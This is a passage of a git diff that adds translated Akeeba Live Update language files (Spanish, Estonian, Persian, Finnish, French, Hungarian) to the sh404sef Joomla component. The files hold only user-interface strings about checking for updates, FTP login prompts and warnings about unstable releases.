+LIVEUPDATE_STABILITY_STABLE="Stable" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/es-ES/es-ES.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/es-ES/es-ES.liveupdate.ini new file mode 100644 index 00000000..463861cf --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/es-ES/es-ES.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Actualización automática" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Este servidor no soporta la Actualización automática" +LIVEUPDATE_NOTSUPPORTED_INFO="Su servidor indica que no soporta la Actualización automática. Por favor, contacte con su proveedor de hosting y pídale que active la función cURL de PHP, o bien que active los wrappers de URL fopen(). Si alguna de las opciones anteriores ya está activada, por favor pídale que que configure su cortafuegos de manera que permita el acceso a la siguiente URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Siempre puede actualizar %s manualmente visitando nuestro sitio, descargando la última versión e instalándola mediante el instalador del gestor de extensiones de Joomla!"_QQ_"" + +LIVEUPDATE_STUCK_HEAD="La actualización automática informa de un fallo" +LIVEUPDATE_STUCK_INFO="La actualización automática determinó que hubo un fallo la última vez que intentó contactar con el servidor de actualizaciones. Esto habitualmente ocurre cuando un host bloquea activamente las comunicaciones con sitios externos. Si desea trata de obtener de nuevo la información sobre nuevas actualizaciones, por favor haga clic en el botón "_QQ_"Refrescar la información sobre actualizaciones"_QQ_" que hay a continuación. Si tras hacerlo obtiene una página en blanco, por favor contacte con su proveedor de hosting y coméntele el problema." + +LIVEUPDATE_ERROR_NEEDSAUTH="Debe introducir su nombre de usuario/contraseña su ID de Descarga (Download ID) en los parámetros de configuración del componente antes de intentar actualizar a la última versión. El botón de actualización permanecerá deshabilitado hasta que lo haga." +LIVEUPDATE_HASUPDATES_HEAD="Hay disponible una nueva versión" +LIVEUPDATE_NOUPDATES_HEAD="Ya tiene instalada la última vesión" +LIVEUPDATE_CURRENTVERSION="Versión instalada" +LIVEUPDATE_LATESTVERSION="Última versión" +LIVEUPDATE_LATESTRELEASED="Fecha de la última versión" +LIVEUPDATE_DOWNLOADURL="URL de descarga directa" + +LIVEUPDATE_REFRESH_INFO="Refrescar la información de actualización" +LIVEUPDATE_DO_UPDATE="Actualizar a la última versión" + +LIVEUPDATE_FTP_REQUIRED="La actualización automática determinó que es necesario usar FTP para poder descargar e instalar su actualización, pero usted aún no ha guardado la información de inicio de sesión FTP en la configuración global de Joomla!.

    Por favor introduzca el nombre de usuario y la contraseña de su cuenta FTP a continuación para proceder con la actualización." +LIVEUPDATE_FTP="Información FTP" +LIVEUPDATE_FTPUSERNAME="Usuario FTP" +LIVEUPDATE_FTPPASSWORD="Contraseña FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Descargar e instalar la actualización" + +LIVEUPDATE_DOWNLOAD_FAILED="La descarga del paquete de actualización no se pudo completar. Asegúrese de que su directorio temporal (temp) tiene permisos de escritura o de que ha habilitado la configuración de FTP en la configuración global de su sitio." +LIVEUPDATE_EXTRACT_FAILED="La extracción de los archivos del paquete de actualización falló. Por favor, trate de actualizar la extensión manualmente." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de paquete erróneo. No se puede proceder con la actualización." +LIVEUPDATE_INSTALLEXT="Instalando %s %s" +LIVEUPDATE_ERROR="Error" +LIVEUPDATE_SUCCESS="Éxito" + +LIVEUPDATE_ICON_UNSUPPORTED="La actualización automática no está soportada" +LIVEUPDATE_ICON_CRASHED="La actualización automática falló" +LIVEUPDATE_ICON_CURRENT="Ya tiene la última versión" +LIVEUPDATE_ICON_UPDATES="¡ACTUALIZACIÓN DISPONIBLE! CLIC PARA INSTALAR." + +LIVEUPDATE_RELEASEINFO="Información" +LIVEUPDATE_RELEASENOTES="Notas de la versión" +LIVEUPDATE_READMOREINFO="Leer más" + +LIVEUPDATE_NAGSCREEN_HEAD="ATENCIÓN! Usted está a punto de instalar una versión inestable." +LIVEUPDATE_NAGSCREEN_BODY="Usted está a punto de instalar una versión inestable (%s - %s). Las versiones inestables pueden tener mínimos o ningún test y contener errores que pueden causar serios problemas a la estabilidad y funcionalidad de su sitio web. Si usted no está seguro sobre qué hacer, por favor cierre esta ventana del explorador. Si usted está totalmente seguro de entender los riesgos involucrados con la instalación de versiones inestables, por favor pulse el botón de abajo para continuar con la instalación de esta versión inestable." +LIVEUPDATE_NAGSCREEN_BUTTON="Entiendo los riesgos. Continuar con la instalación" + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="Estable" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/et-EE/et-EE.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/et-EE/et-EE.liveupdate.ini new file mode 100644 index 00000000..ee121e7b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/et-EE/et-EE.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +; LIVEUPDATE_TASK_OVERVIEW="Live Update" + +; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" +; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:" +; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." + +; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" +; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue." + +; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." +; LIVEUPDATE_HASUPDATES_HEAD="A new version is available" +; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" +; LIVEUPDATE_CURRENTVERSION="Installed version" +; LIVEUPDATE_LATESTVERSION="Latest version" +; LIVEUPDATE_LATESTRELEASED="Latest release date" +; LIVEUPDATE_DOWNLOADURL="Direct download URL" + +; LIVEUPDATE_REFRESH_INFO="Refresh update information" +; LIVEUPDATE_DO_UPDATE="Update to the latest version" + +; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

    Please provide the FTP username and password below to proceed with the update." +; LIVEUPDATE_FTP="FTP Information" +; LIVEUPDATE_FTPUSERNAME="FTP Username" +; LIVEUPDATE_FTPPASSWORD="FTP Password" +; LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" + +; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." +; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." + +; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." +; LIVEUPDATE_INSTALLEXT="Install %s %s" +; LIVEUPDATE_ERROR="Error" +; LIVEUPDATE_SUCCESS="Success" + +; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" +; LIVEUPDATE_ICON_CRASHED="Live Update crashed" +; LIVEUPDATE_ICON_CURRENT="You have the latest version" +; LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fa-IR/fa-IR.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fa-IR/fa-IR.liveupdate.ini new file mode 100644 index 00000000..2ea5f8b7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fa-IR/fa-IR.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="به روز رسانی آنلاین" + +LIVEUPDATE_NOTSUPPORTED_HEAD="به روز رسانی آنلاین در این سرور پشتیبانی نمی شود" +LIVEUPDATE_NOTSUPPORTED_INFO="سرور شما نشان می دهد که به روز رسانی آنلاین پشتیبانی نمی شود. لطفا با میزبان خود تماس بگیرید و از آن ها بخواهید که افزونه cURL یا URL fopen() wrapper را در PHP فعال نمایند. اگر این در حال حاضر فعال است، لطفا از آن ها بخواهید که پیکربندی فایروال خود را به طوری که اجازه دسترسی به این آدرس را بدهد تنظیم نمایند:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="شما همچنین می توانید با مراجعه به سایت ما و دانلود آخرین نسخه و نصب آن از طریق نصب کننده جوملا اقدام به به روز رسانی %s نمایید." + +LIVEUPDATE_STUCK_HEAD="به روز رسانی آنلاین با مشکل مواجه شد." +LIVEUPDATE_STUCK_INFO="به روز رسانی آنلاین در آخرین باری که تلاش برای ارتباط با سرور به روز رسانی نموده است، با مشکل مواجه شد. این معمولا در مورد میزبان هایی به وجود می آید که ارتباط با سایت های دیگر را مسدود می نمایند. در صورتی که می خواهید اطلاعات به روز رسانی را مجددا دریافت نمایید، روی دکمه "_QQ_"بازیابی مجدد اطلاعات به روز رسانی"_QQ_" در زیر کلیک نمایید. در صورتی که با صفحه ی خالی مواجه شدید، با میزبان خود تماس حاصل نموده و مشکل را گزارش دهید." + +LIVEUPDATE_ERROR_NEEDSAUTH="شما می بایستی نام کاربری/رمز عبور یا شناسه دانلود خود را قبل از تلاش برای به روز رسانی به نسخه نهایی در تنظیمات کامپوننت وارد نمایید. دکمه به روز رسانی تا وقتی که شما این کار را انجام دهید غیرفعال خواهد ماند." +LIVEUPDATE_HASUPDATES_HEAD="نسخه جدیدی موجود می باشد" +LIVEUPDATE_NOUPDATES_HEAD="نسخه شما به روز می باشد" +LIVEUPDATE_CURRENTVERSION="نسخه نصب شده" +LIVEUPDATE_LATESTVERSION="آخرین نسخه" +LIVEUPDATE_LATESTRELEASED="تاریخ آخرین نسخه" +LIVEUPDATE_DOWNLOADURL="آدرس دانلود مستقیم" + +LIVEUPDATE_REFRESH_INFO="بارگزاری مجدد اطلاعات به روز رسانی" +LIVEUPDATE_DO_UPDATE="به روز رسانی به آخرین نسخه" + +LIVEUPDATE_FTP_REQUIRED="به روز رسانی آنلاین تشخیص داده است که شما برای دانلود و نصب به روز رسانی، می بایستی از FTP استفاده نمایید، ولی شما اطلاعات ورود FTP را در تنظیمات سراسری جوملا وارد نکرده اید.

    لطفا نام کاربری و رمز عبور FTP را جهت اجرای عملیات به روز رسانی در قسمت های زیر وارد نمایید." +LIVEUPDATE_FTP="اطلاعات FTP" +LIVEUPDATE_FTPUSERNAME="نام کاربری FTP" +LIVEUPDATE_FTPPASSWORD="رمز عبور FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="دانلود و نصب به روز رسانی" + +LIVEUPDATE_DOWNLOAD_FAILED="دانلود فایل به روز رسانی با شکست مواجه شد. جهت رفع این مشکل بررسی نمایید که پوشه موقت سایتتان (temp) قابل نوشتن بوده و یا تنظیمات FTP جوملا را در تنظیمات سراسری سایت فعال کرده باشید." +LIVEUPDATE_EXTRACT_FAILED="استخراج فایل به روز رسانی از حالت فشرده با شکست مواجه شد. لطفا افزونه را به طور دستی به روز رسانی نمایید." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="نوع فایل نامعتبر می باشد. عملیات به روز رسانی قابل اجرا نمی باشد." +LIVEUPDATE_INSTALLEXT="نصب %s %s" +LIVEUPDATE_ERROR="خطا" +LIVEUPDATE_SUCCESS="انجام شد" + +LIVEUPDATE_ICON_UNSUPPORTED="به روز رسانی آنلاین پشتیبانی نمی شود" +LIVEUPDATE_ICON_CRASHED="به روز رسانی آنلاین به خطا مواجه شد" +LIVEUPDATE_ICON_CURRENT="نسخه شما به روز می باشد" +LIVEUPDATE_ICON_UPDATES="به روز رسانی جدیدی یافت شد! جهت به روز رسانی کلیک نمایید." + +LIVEUPDATE_RELEASEINFO="اطلاعات" +LIVEUPDATE_RELEASENOTES="اطلاعات نسخه" +LIVEUPDATE_READMOREINFO="مطالعه بیشتر" + +LIVEUPDATE_NAGSCREEN_HEAD="اخطار! شما در حال نصب نسخه ای ناپایدار هستید." +LIVEUPDATE_NAGSCREEN_BODY="شما در حال نصب نسخه ای ناپایدار هستید (%s - %s). نسخه های ناپایدار ممکن است تحت آزمایش کم و یا هیچ بوده باشند و عوارض جانبی جدی برای پایداری سایت شما داشته باشند. در صورتی که اطلاعاتی در این مورد ندارید، لطفا این صفحه را ببندید. و در صورتی که از ریسک این موضوع مطلع هستید و می خواهید ادامه دهید، روی دکمه زیر جهت ادامه نصب این نسخه ناپایدار کلیک نمایید." +LIVEUPDATE_NAGSCREEN_BUTTON="از خطرات این عمل آگاه هستم. عملیات نصب را ادامه بده." + +LIVEUPDATE_STABILITY_ALPHA="آلفا" +LIVEUPDATE_STABILITY_BETA="بتا" +LIVEUPDATE_STABILITY_RC="کاندید" +LIVEUPDATE_STABILITY_STABLE="پایدار" +LIVEUPDATE_STABILITY_SVN="svn" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fi-FI/fi-FI.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fi-FI/fi-FI.liveupdate.ini new file mode 100644 index 00000000..c86701dc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fi-FI/fi-FI.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update ei ole tuettu tällä palvelimella" +LIVEUPDATE_NOTSUPPORTED_INFO="Palvelimesi mukaan Live Update ei ole tuettu. Ota yhteyttä palveluntarjoajaasi ja pyydä heitä ottamaan cURL PHP laajennus tai URL fopen() lisätoiminnot käyttöön. Jos nämä ovat jo käytössä, pyydä heitä muuttamaan palomuurinsa asetuksia niin, että se sallii yhteydet seuraavaan osoitteeseen:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Voit aina päivittää %s lisäosan käymällä sivustollamme, lataamalla viimeisimmän version ja asentamalla sen Joomla! lisäosien asennuksella." + +LIVEUPDATE_STUCK_HEAD="Live Update on havainnut kaatuneensa" +LIVEUPDATE_STUCK_INFO="Live Update on havainnut, että se kaatui edellisellä kerralla päivitystä hakiessaan. Yleensä tämä johtuu palvelimestä, joka pyrkii estämään yhteydet muille palvelimille. Jos haluat yrittää päivitystietojen hakemista uudelleen, napsauta "_QQ_"Päivitä päivitystiedot"_QQ_" painiketta. Jos tästä seuraa tyhjä sivu, ota yhteyttä palveluntarjoajaasi ja ilmoita ongelmasta." + +LIVEUPDATE_ERROR_NEEDSAUTH="Sinun täytyy syöttää pyydetty käyttäjätunniste komponentin asetuksissa ennenkuin voit päivittää viimeisimpään versioon. Päivityspainike pysyy estettynä siihen asti." +LIVEUPDATE_HASUPDATES_HEAD="Uusi versio on saatavilla" +LIVEUPDATE_NOUPDATES_HEAD="Sinulla on jo uusin versio" +LIVEUPDATE_CURRENTVERSION="Asennettu versio" +LIVEUPDATE_LATESTVERSION="Uusin versio" +LIVEUPDATE_LATESTRELEASED="Uusimman julkaisupäivä" +LIVEUPDATE_DOWNLOADURL="Suora latauslinkki" + +LIVEUPDATE_REFRESH_INFO="Päivitä päivitystiedot" +LIVEUPDATE_DO_UPDATE="Päivitä uusimpaan versioon" + +LIVEUPDATE_FTP_REQUIRED="Live Update havaitsi, että se tarvitsee FTP yhteyden ladatakseen päivityksesi, mutta FTP tietoja ei ole asetettu Joomla! asetuksissa.

    Syötä FTP tunnus ja salasana päivittääksesi." +LIVEUPDATE_FTP="FTP tiedot" +LIVEUPDATE_FTPUSERNAME="FTP käyttäjänimi" +LIVEUPDATE_FTPPASSWORD="FTP salasana" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Lataa ja asenna päivitys" + +LIVEUPDATE_DOWNLOAD_FAILED="Päivityspaketin lataaminen epäonnistui. Varmista, että temp-kansioom voi kirjoittaa tai Joomla! FTP toiminnot on sallittu sivuston asetuksissa." +LIVEUPDATE_EXTRACT_FAILED="Päivityspaketin purkaminen epäonnistui. Yritä päivittää lisäosa manuaalisesti." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Paketin tyyppi ei kelpaa. Päivitystä ei voida tehdä." +LIVEUPDATE_INSTALLEXT="Asenna %s %s" +LIVEUPDATE_ERROR="Virhe" +LIVEUPDATE_SUCCESS="Onnistui" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update ei tuettu" +LIVEUPDATE_ICON_CRASHED="Live Update kaatui" +LIVEUPDATE_ICON_CURRENT="Sinulla on uusin versio" +LIVEUPDATE_ICON_UPDATES="Päivitys löydetty! Napsauta päivittääksesi." + +LIVEUPDATE_RELEASEINFO="Tietoja" +LIVEUPDATE_RELEASENOTES="Julkaisutiedot" +LIVEUPDATE_READMOREINFO="Lue lisää" + +LIVEUPDATE_NAGSCREEN_HEAD="Varoitus. Olet asentamassa mahdollisesti epävakaata versiota." +LIVEUPDATE_NAGSCREEN_BODY="Olet asentamassa epävakaata versiota (%s - %s). Epävakaita versiota ei ole testattu riittävästi ja ne voivat sisältää ohjelmointivirheitä jotka voivat vahingoittaa sivustosi vakautta ja toimintaa. Jos et ole varma siitä mitä olet tekemässä, sulje tämä selain ikkuna. Jos olet aivan varma, että ymmärrät epävakaiden versioiden asentamiseen liittyvät riskit, napsauta alla olevaa painiketta jatkaaksesi asennusta." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +LIVEUPDATE_STABILITY_ALPHA="Alpha" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fr-FR/fr-FR.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fr-FR/fr-FR.liveupdate.ini new file mode 100644 index 00000000..19991ec7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fr-FR/fr-FR.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" +LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et lui demander d'activer l'extension PHP cURL ou activer la fonction fopen URL (). Si ceux-ci sont déjà activés, veuillez lui demander d'adapter le pare-feu pour qu'il autorise l'accès à l'URL suivante:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" + +LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" +LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton "_QQ_" Rafraichir les informations de mise à jour "_QQ_". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." + +LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez indiquer dans les paramètres d'Akeeba Backup l'ID de mise à jour fournie avec votre abonnement." +LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" +LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" +LIVEUPDATE_CURRENTVERSION="Version installée" +LIVEUPDATE_LATESTVERSION="Dernière version" +LIVEUPDATE_LATESTRELEASED="Date de la dernière version " +LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" + +LIVEUPDATE_REFRESH_INFO="Rafraîchir les informations de mise à jour" +LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" + +LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la 'Configuration' de Joomla!

    Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." +LIVEUPDATE_FTP="Informations FTP" +LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" +LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" + +LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." +LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas être effectuée." +LIVEUPDATE_INSTALLEXT="Installer %s %s" +LIVEUPDATE_ERROR="Erreur" +LIVEUPDATE_SUCCESS="Réussite" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" +LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" +LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" +LIVEUPDATE_ICON_UPDATES="Mise à jour disponible! Cliquez pour mettre à jour." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/hu-HU/hu-HU.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/hu-HU/hu-HU.liveupdate.ini new file mode 100644 index 00000000..f29b4bdc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/hu-HU/hu-HU.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Ez a szerver nem támogatja a Live Update-ot" +LIVEUPDATE_NOTSUPPORTED_INFO="A szerver nem támogatja a Live Update-et. Lépj kapcsolatba a szolgáltatóddal és kérd a cURL PHP bővítmény vagy az URL fopen() aktiválását. Ha ezek már engedélyezve vannak, akkor kérd meg őket, hogy úgy állítsák be a tűzfalukat, hogy hozzáférhető legyen a következő URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Bármikor frissítheted a(z) %s úgy, hogy meglátogatod a webhelyünket, letöltöd a legfrissebb verziót és a Joomla! bővítmény telepítőjével felrakod." + +LIVEUPDATE_STUCK_HEAD="A saját jelzése szerint a Live Update összeomlott" +LIVEUPDATE_STUCK_INFO="Az utolsó használat során a Live Update összeomlott amikor kapcsolatot próbált létesíteni a frissítő szerverrel. Ez általában azt jelzi, hogy a szolgáltató aktívan blokkolja a külső webhelyekkel való kommunikációt. Ha meg akarod ismételni a frissítési információk lekérését, akkor kattints alul a "_QQ_"Frissítési információk újra letöltése"_QQ_" gombra. Ha ez üres oldalt eredményez, akkor lépj kapcsolatba a szolgáltatóddal és jelezd nekik ezt a problémát" + +LIVEUPDATE_ERROR_NEEDSAUTH="Mielőtt frissíteni szeretnél, meg kell adnod a felhasználói neved/jelszavad vagy a letöltési AZ-t a komponens paraméterekben. A frissítés gomb addig nem lesz aktív, amíg ezeket nem adod meg." +LIVEUPDATE_HASUPDATES_HEAD="Elérhető az új verzió" +LIVEUPDATE_NOUPDATES_HEAD="Már a legújabb verzióval rendelkezel" +LIVEUPDATE_CURRENTVERSION="Telepített verzió" +LIVEUPDATE_LATESTVERSION="Legújabb verzió" +LIVEUPDATE_LATESTRELEASED="A legújabb verzió kiadási időpontja" +LIVEUPDATE_DOWNLOADURL="Direkt letöltési URL" + +LIVEUPDATE_REFRESH_INFO="Frissítési információk újratöltése" +LIVEUPDATE_DO_UPDATE="Frissítés a legújabb verzióra" + +LIVEUPDATE_FTP_REQUIRED="A Live Update-nek szüksége van az FTP használatára, hogy le tudja tölteni és feltelepíteni a frissítést, de te nem adtál meg FTP elérési adatokat a Joomla! globális beállításaiban.

    Kérjük, hogy add meg az FTP felhasználói nevet és jelszót, hogy folytatni lehessen a frissítést." +LIVEUPDATE_FTP="FTP információk" +LIVEUPDATE_FTPUSERNAME="FTP felhasználói név" +LIVEUPDATE_FTPPASSWORD="FTP jelszó" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="A frissítés letöltése és telepítése" + +LIVEUPDATE_DOWNLOAD_FAILED="A frissítési csomag letöltése sikertelen. Ellenőrizd az átmeneti (temp) könyvtár írhatóságát vagy a globális beállításoknál engedélyezd a Joomla! FTP feltöltést." +LIVEUPDATE_EXTRACT_FAILED="A frissítési csomag kitömörítése sikertelen. Kérjük, hogy a frissítést próbáld meg manuális módban." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Hibás csomagtípus. A frissítés nem folytatható." +LIVEUPDATE_INSTALLEXT="Telepítés %s %s" +LIVEUPDATE_ERROR="Hiba" +LIVEUPDATE_SUCCESS="Sikeres" + +LIVEUPDATE_ICON_UNSUPPORTED="A Live Update nem támogatott" +LIVEUPDATE_ICON_CRASHED="A Live Update összeomlott" +LIVEUPDATE_ICON_CURRENT="A legfrissebb verzióval rendelkezel" +LIVEUPDATE_ICON_UPDATES="FRISSÍTÉST TALÁLTAM! KATTINTS IDE." + +LIVEUPDATE_RELEASEINFO="Információk" +LIVEUPDATE_RELEASENOTES="Kiadási megjegyzések" +LIVEUPDATE_READMOREINFO="Bővebben" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/it-IT/it-IT.liveupdate.ini 